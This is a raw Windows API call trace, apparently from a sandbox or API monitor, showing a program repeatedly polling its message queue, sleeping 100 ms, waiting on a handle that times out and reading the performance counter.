[0147.618] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.619] Sleep (dwMilliseconds=0x64) [0147.629] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768075500) returned 1 [0147.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768075697) returned 1 [0147.629] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.630] Sleep (dwMilliseconds=0x64) [0147.644] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768127059) returned 1 [0147.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768127200) returned 1 [0147.644] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.645] Sleep (dwMilliseconds=0x64) [0147.659] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768180589) returned 1 [0147.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768180789) returned 1 [0147.660] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.661] Sleep (dwMilliseconds=0x64) [0147.675] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768233831) returned 1 [0147.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768234031) returned 1 [0147.676] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.676] Sleep (dwMilliseconds=0x64) [0147.691] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768288870) returned 1 [0147.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768289059) returned 1 [0147.692] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.692] Sleep (dwMilliseconds=0x64) [0147.716] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768374339) returned 1 [0147.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768374495) returned 1 [0147.717] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.717] Sleep (dwMilliseconds=0x64) [0147.748] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.749] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768484852) returned 1 [0147.749] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768485001) returned 1 [0147.750] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.750] Sleep (dwMilliseconds=0x64) [0147.753] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768500732) returned 1 [0147.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768500875) returned 1 [0147.754] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.754] Sleep (dwMilliseconds=0x64) [0147.769] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768554639) returned 1 [0147.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768554779) returned 1 [0147.769] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.770] Sleep (dwMilliseconds=0x64) [0147.784] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768606786) returned 1 [0147.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768606926) returned 1 [0147.785] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.785] Sleep (dwMilliseconds=0x64) [0147.802] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768666586) returned 1 [0147.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768666724) returned 1 [0147.802] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.803] Sleep (dwMilliseconds=0x64) [0147.815] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768713551) returned 1 [0147.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768713663) returned 1 [0147.817] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.817] Sleep (dwMilliseconds=0x64) [0147.842] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.844] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768814585) returned 1 [0147.847] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768839364) returned 1 [0147.857] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.858] Sleep (dwMilliseconds=0x64) [0147.863] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768878446) returned 1 [0147.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768878579) returned 1 [0147.864] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.865] Sleep (dwMilliseconds=0x64) [0147.878] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768926698) returned 1 [0147.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768926832) returned 1 [0147.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.879] Sleep (dwMilliseconds=0x64) [0147.893] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768980023) returned 1 [0147.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768980154) returned 1 [0147.894] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.894] Sleep (dwMilliseconds=0x64) [0147.909] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769033307) returned 1 [0147.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769033439) returned 1 [0147.909] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.910] Sleep (dwMilliseconds=0x64) [0147.925] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.925] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769086927) returned 1 [0147.925] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769087095) returned 1 [0147.925] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.926] Sleep (dwMilliseconds=0x64) [0147.940] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.940] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769140108) returned 1 [0147.940] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769140247) returned 1 [0147.941] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.941] Sleep (dwMilliseconds=0x64) [0147.957] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.957] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769196445) returned 1 [0147.957] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769196644) returned 1 [0147.957] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.958] Sleep (dwMilliseconds=0x64) [0147.971] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769246988) returned 1 [0147.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769247186) returned 1 [0147.972] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.973] Sleep (dwMilliseconds=0x64) [0147.987] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769299792) returned 1 [0147.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769299932) returned 1 [0147.988] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.988] Sleep (dwMilliseconds=0x64) [0148.003] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.003] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769355267) returned 1 [0148.003] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769355469) returned 1 [0148.004] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.004] Sleep (dwMilliseconds=0x64) [0148.020] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769412091) returned 1 [0148.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769412262) returned 1 [0148.020] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.021] Sleep (dwMilliseconds=0x64) [0148.034] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.034] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769461562) returned 1 [0148.034] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769461734) returned 1 [0148.035] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.035] Sleep (dwMilliseconds=0x64) [0148.049] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769513585) returned 1 [0148.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769513786) returned 1 [0148.050] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.051] Sleep (dwMilliseconds=0x64) [0148.066] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769570924) returned 1 [0148.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769571080) returned 1 [0148.067] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.067] Sleep (dwMilliseconds=0x64) [0148.085] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.085] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769634220) returned 1 [0148.085] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769634353) returned 1 [0148.085] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.086] Sleep (dwMilliseconds=0x64) [0148.096] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769673528) returned 1 [0148.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769673765) returned 1 [0148.097] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.097] Sleep (dwMilliseconds=0x64) [0148.113] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.113] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769729491) returned 1 [0148.113] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769729635) returned 1 [0148.113] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.114] Sleep (dwMilliseconds=0x64) [0148.128] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769782322) returned 1 [0148.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769782515) returned 1 [0148.129] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.129] Sleep (dwMilliseconds=0x64) [0148.143] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769833533) returned 1 [0148.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769833796) returned 1 [0148.144] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.144] Sleep (dwMilliseconds=0x64) [0148.159] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.159] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769887359) returned 1 [0148.159] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769887543) returned 1 [0148.159] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.160] Sleep (dwMilliseconds=0x64) [0148.175] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769942015) returned 1 [0148.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769942199) returned 1 [0148.175] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.176] Sleep (dwMilliseconds=0x64) [0148.190] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=769993394) returned 1 [0148.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=769993574) returned 1 [0148.190] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.191] Sleep (dwMilliseconds=0x64) [0148.206] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770049833) returned 1 [0148.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770050013) returned 1 [0148.207] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.208] Sleep (dwMilliseconds=0x64) [0148.221] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.221] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770101375) returned 1 [0148.222] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770101571) returned 1 [0148.222] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.223] Sleep (dwMilliseconds=0x64) [0148.241] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770167853) returned 1 [0148.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770168052) returned 1 [0148.242] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.242] Sleep (dwMilliseconds=0x64) [0148.252] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770206517) returned 1 [0148.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770206715) returned 1 [0148.253] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.253] Sleep (dwMilliseconds=0x64) [0148.268] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.268] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770259950) returned 1 [0148.268] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770260089) returned 1 [0148.268] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.269] Sleep (dwMilliseconds=0x64) [0148.284] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770315742) returned 1 [0148.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770315941) returned 1 [0148.285] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.285] Sleep (dwMilliseconds=0x64) [0148.299] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770366786) returned 1 [0148.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770366978) returned 1 [0148.300] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.300] Sleep (dwMilliseconds=0x64) [0148.315] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.315] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770420221) returned 1 [0148.315] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770420390) returned 1 [0148.315] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.316] Sleep (dwMilliseconds=0x64) [0148.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770477202) returned 1 [0148.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770477358) returned 1 [0148.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.332] Sleep (dwMilliseconds=0x64) [0148.346] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770526472) returned 1 [0148.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770526631) returned 1 [0148.346] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.347] Sleep (dwMilliseconds=0x64) [0148.362] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770582526) returned 1 [0148.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770582682) returned 1 [0148.363] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.363] Sleep (dwMilliseconds=0x64) [0148.377] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.377] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770633251) returned 1 [0148.377] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770633450) returned 1 [0148.378] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.378] Sleep (dwMilliseconds=0x64) [0148.393] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.393] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770688556) returned 1 [0148.393] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770688753) returned 1 [0148.394] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.394] Sleep (dwMilliseconds=0x64) [0148.408] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770739782) returned 1 [0148.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770739981) returned 1 [0148.409] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.409] Sleep (dwMilliseconds=0x64) [0148.424] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770793029) returned 1 [0148.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770793228) returned 1 